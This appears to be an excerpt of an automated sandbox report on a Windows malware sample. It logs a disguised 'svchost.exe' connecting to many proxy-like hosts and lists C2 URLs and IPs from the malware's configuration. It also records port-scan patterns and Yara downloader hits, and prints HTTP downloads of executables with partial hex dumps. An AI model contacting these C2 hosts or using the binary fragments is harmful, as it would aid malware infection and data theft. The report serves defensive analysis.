Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.210.29.201 31433
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.135.7.2 63123
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 199.58.184.97 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.64.199.79 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 207.55.240.19 59714
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 78.146.180.112 110
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 76.26.114.253 39593
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 213.160.71.130 10664
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 148.72.212.252 64753
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 186.248.197.210 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.251.57.49 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 166.62.88.163 14827
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 142.54.235.9 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 223.19.139.172 80
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 192.252.214.20 15864
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 183.88.157.154 8080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 128.199.183.41 39047
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 109.238.12.156 50539
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.124.137.251 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 166.0.235.5 53215
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 49.229.36.170 4153
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 184.178.172.11 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.79.152.204 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 45.234.100.102 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.130.39.117 9999
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.130.113.245 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 50.63.12.33 57800
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 72.195.34.42 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 47.90.167.27 3128
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 8.213.128.90 8060
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.122.204.56 41543
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 200.85.169.221 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.77.111.198 49547
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 174.77.111.196 4145
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 103.54.148.189 1080
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 185.18.198.163 38188
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 83.234.147.166 6363
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 201.204.47.66 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 58.57.2.46 10800
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 190.14.155.198 5678
Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe	Network Connect: 110.139.128.232 4145

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.70/570d5d5e8678366c.php
Source: Malware configuration extractor	URLs: http://85.28.47.70/570d5d5e8678366c.php
Source: Malware configuration extractor	URLs: 45.66.231.158
Source: Malware configuration extractor	IPs: 185.172.128.116
Source: Malware configuration extractor	URLs: 185.172.128.33:8970

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 174.247.55.150 ports 48931,1,3,4,8,9
Source: global traffic	TCP traffic: 166.0.235.52 ports 0,1,3,4,35104,5
Source: global traffic	TCP traffic: 72.10.160.172 ports 0,1,10425,2,4,5
Source: global traffic	TCP traffic: 104.36.166.42 ports 1,2,3,5,8,15832
Source: global traffic	TCP traffic: 45.124.84.110 ports 15473,1,3,4,5,7
Source: global traffic	TCP traffic: 38.57.3.54 ports 46235,2,3,4,5,6
Source: global traffic	TCP traffic: 162.214.197.102 ports 1,4,5,6,9,64195
Source: global traffic	TCP traffic: 38.57.3.39 ports 28506,0,2,5,6,8
Source: global traffic	TCP traffic: 148.72.23.56 ports 41592,1,2,4,5,9
Source: global traffic	TCP traffic: 114.108.177.104 ports 0,4,60984,6,8,9
Source: global traffic	TCP traffic: 117.74.65.207 ports 0,1,5,8,80,5801
Source: global traffic	TCP traffic: 166.0.235.139 ports 56290,0,2,5,6,9
Source: global traffic	TCP traffic: 198.12.253.239 ports 0,2,3,8,9,39820
Source: global traffic	TCP traffic: 148.72.212.125 ports 21307,0,1,2,3,7
Source: global traffic	TCP traffic: 108.179.219.56 ports 1,4,5,6,8,16458
Source: global traffic	TCP traffic: 207.55.240.19 ports 1,59714,4,5,7,9
Source: global traffic	TCP traffic: 148.72.212.252 ports 64753,3,4,5,6,7
Source: global traffic	TCP traffic: 166.62.88.163 ports 14827,1,2,4,7,8
Source: global traffic	TCP traffic: 169.239.223.136 ports 1,2,5,7,52178,8
Source: global traffic	TCP traffic: 128.199.183.41 ports 39047,0,3,4,7,9
Source: global traffic	TCP traffic: 45.89.19.85 ports 15397,1,3,5,7,9
Source: global traffic	TCP traffic: 213.136.93.115 ports 14087,0,1,4,7,8

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58985 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 58985
Source: unknown	Network traffic detected: HTTP traffic on port 21707 -> 59240

Yara detected Generic Downloader

Source: Yara match	File source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE

Source: unknown

Network traffic detected: IP country count 31

Source: global traffic	TCP traffic: 192.168.2.5:49710 -> 185.172.128.33:8970
Source: global traffic	TCP traffic: 192.168.2.5:58985 -> 43.153.49.49:8888
Source: global traffic	TCP traffic: 192.168.2.5:59103 -> 185.215.113.67:40960
Source: global traffic	TCP traffic: 192.168.2.5:59220 -> 47.121.183.107:3128
Source: global traffic	TCP traffic: 192.168.2.5:59219 -> 174.64.199.82:4145
Source: global traffic	TCP traffic: 192.168.2.5:59221 -> 222.165.223.138:41541
Source: global traffic	TCP traffic: 192.168.2.5:59222 -> 198.157.68.47:1337
Source: global traffic	TCP traffic: 192.168.2.5:59223 -> 47.121.182.88:8081
Source: global traffic	TCP traffic: 192.168.2.5:59224 -> 31.200.242.201:12196
Source: global traffic	TCP traffic: 192.168.2.5:59225 -> 193.200.151.158:8192
Source: global traffic	TCP traffic: 192.168.2.5:59226 -> 83.234.147.166:6363
Source: global traffic	TCP traffic: 192.168.2.5:59227 -> 171.217.69.113:10800
Source: global traffic	TCP traffic: 192.168.2.5:59228 -> 113.161.210.60:4153
Source: global traffic	TCP traffic: 192.168.2.5:59230 -> 72.195.34.42:4145
Source: global traffic	TCP traffic: 192.168.2.5:59231 -> 67.43.228.251:1961
Source: global traffic	TCP traffic: 192.168.2.5:59232 -> 36.82.203.68:3128
Source: global traffic	TCP traffic: 192.168.2.5:59233 -> 66.29.128.244:41496
Source: global traffic	TCP traffic: 192.168.2.5:59234 -> 197.98.201.15:10909
Source: global traffic	TCP traffic: 192.168.2.5:59235 -> 114.108.177.104:60984
Source: global traffic	TCP traffic: 192.168.2.5:59236 -> 129.126.65.78:4153
Source: global traffic	TCP traffic: 192.168.2.5:59237 -> 103.130.113.245:5678
Source: global traffic	TCP traffic: 192.168.2.5:59238 -> 58.57.2.46:10800
Source: global traffic	TCP traffic: 192.168.2.5:59240 -> 170.106.76.24:21707
Source: global traffic	TCP traffic: 192.168.2.5:59241 -> 149.62.193.91:4153
Source: global traffic	TCP traffic: 192.168.2.5:59242 -> 103.210.29.201:31433
Source: global traffic	TCP traffic: 192.168.2.5:59243 -> 117.74.65.207:5801
Source: global traffic	TCP traffic: 192.168.2.5:59244 -> 148.72.212.125:21307
Source: global traffic	TCP traffic: 192.168.2.5:59245 -> 177.126.86.78:4145
Source: global traffic	TCP traffic: 192.168.2.5:59246 -> 174.77.111.196:4145
Source: global traffic	TCP traffic: 192.168.2.5:59247 -> 137.53.152.220:8080
Source: global traffic	TCP traffic: 192.168.2.5:59248 -> 195.2.78.251:1987
Source: global traffic	TCP traffic: 192.168.2.5:59250 -> 47.116.210.163:3128
Source: global traffic	TCP traffic: 192.168.2.5:59251 -> 190.14.155.198:5678
Source: global traffic	TCP traffic: 192.168.2.5:59252 -> 207.55.240.19:59714
Source: global traffic	TCP traffic: 192.168.2.5:59253 -> 199.58.184.97:4145
Source: global traffic	TCP traffic: 192.168.2.5:59254 -> 176.112.96.2:3629
Source: global traffic	TCP traffic: 192.168.2.5:59255 -> 103.124.137.251:1080
Source: global traffic	TCP traffic: 192.168.2.5:59256 -> 174.77.111.198:49547
Source: global traffic	TCP traffic: 192.168.2.5:59257 -> 38.57.3.54:46235
Source: global traffic	TCP traffic: 192.168.2.5:59258 -> 166.0.235.52:35104
Source: global traffic	TCP traffic: 192.168.2.5:59259 -> 50.63.12.33:57800
Source: global traffic	TCP traffic: 192.168.2.5:59260 -> 194.44.74.118:1080
Source: global traffic	TCP traffic: 192.168.2.5:59261 -> 185.122.204.56:41543
Source: global traffic	TCP traffic: 192.168.2.5:59262 -> 201.204.47.66:5678
Source: global traffic	TCP traffic: 192.168.2.5:59263 -> 103.205.128.7:4145
Source: global traffic	TCP traffic: 192.168.2.5:59264 -> 8.130.39.117:9999
Source: global traffic	TCP traffic: 192.168.2.5:59265 -> 174.64.199.79:4145
Source: global traffic	TCP traffic: 192.168.2.5:59267 -> 8.130.36.245:8888
Source: global traffic	TCP traffic: 192.168.2.5:59268 -> 45.234.100.102:1080
Source: global traffic	TCP traffic: 192.168.2.5:59269 -> 20.247.104.85:39918
Source: global traffic	TCP traffic: 192.168.2.5:59270 -> 177.72.82.9:5678
Source: global traffic	TCP traffic: 192.168.2.5:59271 -> 67.43.236.20:12797
Source: global traffic	TCP traffic: 192.168.2.5:59272 -> 8.213.128.90:8060
Source: global traffic	TCP traffic: 192.168.2.5:59274 -> 201.71.2.177:999
Source: global traffic	TCP traffic: 192.168.2.5:59275 -> 107.180.101.226:37552
Source: global traffic	TCP traffic: 192.168.2.5:59277 -> 49.229.36.170:4153
Source: global traffic	TCP traffic: 192.168.2.5:59278 -> 72.37.216.68:4145
Source: global traffic	TCP traffic: 192.168.2.5:59279 -> 190.109.72.25:33633
Source: global traffic	TCP traffic: 192.168.2.5:59280 -> 47.90.167.27:3128
Source: global traffic	TCP traffic: 192.168.2.5:59281 -> 142.54.235.9:4145
Source: global traffic	TCP traffic: 192.168.2.5:59282 -> 45.79.189.110:35723
Source: global traffic	TCP traffic: 192.168.2.5:59284 -> 183.88.157.154:8080
Source: global traffic	TCP traffic: 192.168.2.5:59285 -> 24.249.199.4:4145
Source: global traffic	TCP traffic: 192.168.2.5:59286 -> 218.201.21.154:83
Source: global traffic	TCP traffic: 192.168.2.5:59287 -> 213.160.71.130:10664
Source: global traffic	TCP traffic: 192.168.2.5:59288 -> 45.128.133.141:1080
Source: global traffic	TCP traffic: 192.168.2.5:59289 -> 76.26.114.253:39593
Source: global traffic	TCP traffic: 192.168.2.5:59290 -> 107.152.98.5:4145
Source: global traffic	TCP traffic: 192.168.2.5:59291 -> 166.0.235.5:53215
Source: global traffic	TCP traffic: 192.168.2.5:59292 -> 115.178.181.15:8081
Source: global traffic	TCP traffic: 192.168.2.5:59293 -> 43.129.195.235:8118
Source: global traffic	TCP traffic: 192.168.2.5:59295 -> 103.79.152.204:5678
Source: global traffic	TCP traffic: 192.168.2.5:59297 -> 103.182.52.159:5678
Source: global traffic	TCP traffic: 192.168.2.5:59298 -> 103.111.22.65:58563
Source: global traffic	TCP traffic: 192.168.2.5:59299 -> 92.241.66.138:4145
Source: global traffic	TCP traffic: 192.168.2.5:59302 -> 184.178.172.5:15303
Source: global traffic	TCP traffic: 192.168.2.5:59303 -> 109.238.12.156:50539
Source: global traffic	TCP traffic: 192.168.2.5:59304 -> 173.212.237.43:9170
Source: global traffic	TCP traffic: 192.168.2.5:59305 -> 178.62.7.98:33475
Source: global traffic	TCP traffic: 192.168.2.5:59306 -> 103.135.7.2:63123
Source: global traffic	TCP traffic: 192.168.2.5:59307 -> 182.253.246.213:4153
Source: global traffic	TCP traffic: 192.168.2.5:59308 -> 162.241.45.22:42021
Source: global traffic	TCP traffic: 192.168.2.5:59309 -> 110.139.128.232:4145
Source: global traffic	TCP traffic: 192.168.2.5:59311 -> 185.18.198.163:38188
Source: global traffic	TCP traffic: 192.168.2.5:59312 -> 185.78.16.76:5678
Source: global traffic	TCP traffic: 192.168.2.5:59313 -> 199.102.104.70:4145
Source: global traffic	TCP traffic: 192.168.2.5:59315 -> 200.85.169.221:1080
Source: global traffic	TCP traffic: 192.168.2.5:59314 -> 184.178.172.11:4145
Source: global traffic	TCP traffic: 192.168.2.5:59316 -> 97.74.229.3:45644
Source: global traffic	TCP traffic: 192.168.2.5:59317 -> 103.47.93.236:1080
Source: global traffic	TCP traffic: 192.168.2.5:59318 -> 8.213.156.191:9080
Source: global traffic	TCP traffic: 192.168.2.5:59319 -> 103.141.189.62:5678
Source: global traffic	TCP traffic: 192.168.2.5:59320 -> 45.251.57.49:4153
Source: global traffic	TCP traffic: 192.168.2.5:59322 -> 81.12.169.254:4153
Source: global traffic	TCP traffic: 192.168.2.5:59324 -> 185.32.47.105:4153
Source: global traffic	TCP traffic: 192.168.2.5:59323 -> 195.2.76.207:11531
Source: global traffic	TCP traffic: 192.168.2.5:59325 -> 186.248.197.210:5678
Source: global traffic	TCP traffic: 192.168.2.5:59326 -> 128.199.183.41:39047
Source: global traffic	TCP traffic: 192.168.2.5:59327 -> 38.57.3.39:28506
Source: global traffic	TCP traffic: 192.168.2.5:59328 -> 141.105.107.152:5678
Source: global traffic	TCP traffic: 192.168.2.5:59329 -> 166.62.88.163:14827
Source: global traffic	TCP traffic: 192.168.2.5:59330 -> 103.121.214.50:4145
Source: global traffic	TCP traffic: 192.168.2.5:59332 -> 72.10.164.178:2679
Source: global traffic	TCP traffic: 192.168.2.5:59334 -> 148.72.210.123:7749
Source: global traffic	TCP traffic: 192.168.2.5:59336 -> 75.119.145.154:37347
Source: global traffic	TCP traffic: 192.168.2.5:59337 -> 104.36.166.42:15832
Source: global traffic	TCP traffic: 192.168.2.5:59338 -> 198.12.253.239:39820
Source: global traffic	TCP traffic: 192.168.2.5:59339 -> 188.209.246.243:1080
Source: global traffic	TCP traffic: 192.168.2.5:59341 -> 135.148.10.161:19212
Source: global traffic	TCP traffic: 192.168.2.5:59342 -> 46.8.60.2:1080
Source: global traffic	TCP traffic: 192.168.2.5:59343 -> 148.72.212.252:64753
Source: global traffic	TCP traffic: 192.168.2.5:59344 -> 72.10.160.172:10425
Source: global traffic	TCP traffic: 192.168.2.5:59345 -> 184.181.217.201:4145
Source: global traffic	TCP traffic: 192.168.2.5:59346 -> 212.19.171.48:8080
Source: global traffic	TCP traffic: 192.168.2.5:59347 -> 177.39.193.109:3128
Source: global traffic	TCP traffic: 192.168.2.5:59348 -> 103.54.148.189:1080
Source: global traffic	TCP traffic: 192.168.2.5:59350 -> 27.123.3.141:4145
Source: global traffic	TCP traffic: 192.168.2.5:59351 -> 162.214.75.237:24949
Source: global traffic	TCP traffic: 192.168.2.5:59352 -> 72.195.34.58:4145
Source: global traffic	TCP traffic: 192.168.2.5:59355 -> 197.251.236.226:5678
Source: global traffic	TCP traffic: 192.168.2.5:59356 -> 200.108.190.129:9800
Source: global traffic	TCP traffic: 192.168.2.5:59357 -> 45.124.84.110:15473
Source: global traffic	TCP traffic: 192.168.2.5:59358 -> 94.131.7.1:31991
Source: global traffic	TCP traffic: 192.168.2.5:59360 -> 211.118.30.69:1080
Source: global traffic	TCP traffic: 192.168.2.5:59361 -> 181.143.61.124:4153
Source: global traffic	TCP traffic: 192.168.2.5:59362 -> 103.148.45.167:4145
Source: global traffic	TCP traffic: 192.168.2.5:59363 -> 169.239.223.136:52178
Source: global traffic	TCP traffic: 192.168.2.5:59364 -> 103.14.251.16:4153
Source: global traffic	TCP traffic: 192.168.2.5:59365 -> 95.48.193.246:1080
Source: global traffic	TCP traffic: 192.168.2.5:59366 -> 125.25.184.10:4145
Source: global traffic	TCP traffic: 192.168.2.5:59367 -> 92.205.110.118:46394
Source: global traffic	TCP traffic: 192.168.2.5:59368 -> 45.89.19.85:15397
Source: global traffic	TCP traffic: 192.168.2.5:59370 -> 177.33.84.232:47796
Source: global traffic	TCP traffic: 192.168.2.5:59371 -> 94.198.213.252:5678
Source: global traffic	TCP traffic: 192.168.2.5:59372 -> 108.179.219.56:16458
Source: global traffic	TCP traffic: 192.168.2.5:59373 -> 112.78.138.163:5678
Source: global traffic	TCP traffic: 192.168.2.5:59374 -> 177.66.221.255:5678
Source: global traffic	TCP traffic: 192.168.2.5:59375 -> 182.16.171.42:51459
Source: global traffic	TCP traffic: 192.168.2.5:59376 -> 45.6.101.98:4153
Source: global traffic	TCP traffic: 192.168.2.5:59379 -> 181.28.137.18:5678
Source: global traffic	TCP traffic: 192.168.2.5:59380 -> 198.8.94.170:4145
Source: global traffic	TCP traffic: 192.168.2.5:59381 -> 5.188.66.181:8088
Source: global traffic	TCP traffic: 192.168.2.5:59382 -> 121.232.199.191:9000
Source: global traffic	TCP traffic: 192.168.2.5:59384 -> 174.247.55.150:48931
Source: global traffic	TCP traffic: 192.168.2.5:59385 -> 1.179.148.9:36476
Source: global traffic	TCP traffic: 192.168.2.5:59383 -> 200.170.196.94:1080
Source: global traffic	TCP traffic: 192.168.2.5:59386 -> 148.72.23.56:41592
Source: global traffic	TCP traffic: 192.168.2.5:59389 -> 108.20.206.218:11579
Source: global traffic	TCP traffic: 192.168.2.5:59391 -> 171.254.1.190:1080
Source: global traffic	TCP traffic: 192.168.2.5:59392 -> 103.36.35.251:5678
Source: global traffic	TCP traffic: 192.168.2.5:59393 -> 67.43.227.228:17103
Source: global traffic	TCP traffic: 192.168.2.5:59394 -> 103.82.11.209:4153
Source: global traffic	TCP traffic: 192.168.2.5:59395 -> 184.181.217.220:4145
Source: global traffic	TCP traffic: 192.168.2.5:59396 -> 162.214.197.102:64195
Source: global traffic	TCP traffic: 192.168.2.5:59398 -> 41.174.152.29:12391
Source: global traffic	TCP traffic: 192.168.2.5:59399 -> 44.213.196.246:8080
Source: global traffic	TCP traffic: 192.168.2.5:59401 -> 213.136.93.115:14087
Source: global traffic	TCP traffic: 192.168.2.5:59402 -> 213.6.68.210:4145
Source: global traffic	TCP traffic: 192.168.2.5:59403 -> 163.47.35.102:4145
Source: global traffic	TCP traffic: 192.168.2.5:59405 -> 162.214.198.15:43151
Source: global traffic	TCP traffic: 192.168.2.5:59406 -> 103.115.255.94:36331
Source: global traffic	TCP traffic: 192.168.2.5:59407 -> 139.162.238.184:30392
Source: global traffic	TCP traffic: 192.168.2.5:59408 -> 31.170.22.127:1080
Source: global traffic	TCP traffic: 192.168.2.5:59411 -> 166.0.235.139:56290
Source: global traffic	TCP traffic: 192.168.2.5:59413 -> 166.62.121.127:45248
Source: global traffic	TCP traffic: 192.168.2.5:59416 -> 182.16.175.174:5678
Source: global traffic	TCP traffic: 192.168.2.5:59417 -> 94.23.222.122:10810
Source: global traffic	TCP traffic: 192.168.2.5:59418 -> 180.119.121.185:1337
Source: global traffic	TCP traffic: 192.168.2.5:59420 -> 8.213.137.155:10101

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:06:02 GMTContent-Type: application/octet-streamContent-Length: 1143296Last-Modified: Wed, 03 Jul 2024 15:26:48 GMTConnection: keep-aliveETag: "66856db8-117200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd 0a 19 31 b9 6b 77 62 b9 6b 77 62 b9 6b 77 62 6a 19 74 63 b2 6b 77 62 6a 19 72 63 12 6b 77 62 6a 19 73 63 ac 6b 77 62 7b ea 73 63 ab 6b 77 62 7b ea 74 63 ac 6b 77 62 6a 19 76 63 be 6b 77 62 b9 6b 76 62 39 6b 77 62 7b ea 72 63 ef 6b 77 62 4a e9 7e 63 b8 6b 77 62 4a e9 77 63 b8 6b 77 62 4a e9 88 62 b8 6b 77 62 4a e9 75 63 b8 6b 77 62 52 69 63 68 b9 6b 77 62 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 72 6a 85 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 86 02 00 00 f8 0e 00 00 00 00 00 59 b0 00 00 00 10 00 00 00 a0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 11 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 60 41 03 00 48 00 00 00 a8 41 03 00 3c 00 00 00 00 80 11 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 11 00 9c 1f 00 00 c0 1f 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b7 78 02 00 00 10 00 00 00 7a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 42 73 53 00 00 00 00 9d 0b 00 00 00 90 02 00 00 0c 00 00 00 7e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 a9 00 00 00 a0 02 00 00 aa 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 2b 0e 00 00 50 03 00 00 1c 0e 00 00 34 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 80 11 00 00 02 00 00 00 50 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 9c 1f 00 00 00 90 11 00 00 20 00 00 00 52 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 13 Jul 2024 05:07:01 GMTContent-Type: application/octet-streamContent-Length: 1115648Last-Modified: Fri, 12 Jul 2024 21:26:39 GMTConnection: keep-aliveETag: "66919f8f-110600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1a 50 91 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 fa 10 00 00 0a 00 00 00 00 00 00 0e 18 11 00 00 20 00 00 00 20 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b8 17 11 00 53 00 00 00 00 20 11 00 e0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 14 f8 10 00 00 20 00 00 00 fa 10 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e0 06 00 00 00 20 11 00 00 08 00 00 00 fc 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 11 00 00 02 00 00 00 04 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 17 11 00 00 00 00 00 48 00 00 00 02 00 05 00 40 b4 01 00 78 63 0f 00 03 00 00 00 53 06 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 9d af 4d 5d 3c ae 4e 0a 9e ca 4e ae 64 2c 4e d9 0e 2a 2a 00 00 00 00 5c e4 c8 31 00 00 00 00 02 ea 1b 0e 00 00 00 00 00 00 00 65 5b 45 dc 41 00 00 00 6a 25 c0 c3 41 00 00 80 3b cb 95 d0 41 48 70 20 24 c7 55 e6 3d ee 35 03 28 c3 a9 ec 4f 4c e7 01 69 00 00 00 00 00 00 00 d5 4f 64 c7 41 00 00 00 77 a9 f6 d1 41 00 00 00 30 68 69 b2 41 00 00 c0 54 80 ce d1 41 00 00 00 ed 38 a2 c7 41 00 00 80 ae 9c 7e cf 41 00 00 40 0f 87 05 d0 41 00 00 80 30 06 36 c6 41 00 00 00 5a e9 4b c0 41 78 5d 24 2c 33 25 b5 64 9a 0d d5 59 00 00 00 00 36 16 74 34 00 00 00 00 a5 d4 51 17 00 00 00 00 c8 0e e8 79 00 00 00 00 f0 a4 5f 19 00 00 00 00 d8 45 31 4b 00 00 00 00 98 f8 af 2f 00 00 00 00 c7 8d 74 00 00 00 00 00 00 00 40 ba ce e6 d5 41 00 00 80 2b e8 e6 d1 41 00 00 80 41 0a 3f da 41 d2 cc 3d 7b 48 bc f1 3f 8c f3 ea 4b ad 3f 12 0c 6a ff 6c 6a 00 00 00 00 0b c8 f2 6e 2a da fb 11 78 ae e5 54 0d 65 c1 4b 00 00 40 d3 2f 6e d7 41 00 00 00 ac 47 89 b6 41 00 00 00 2e
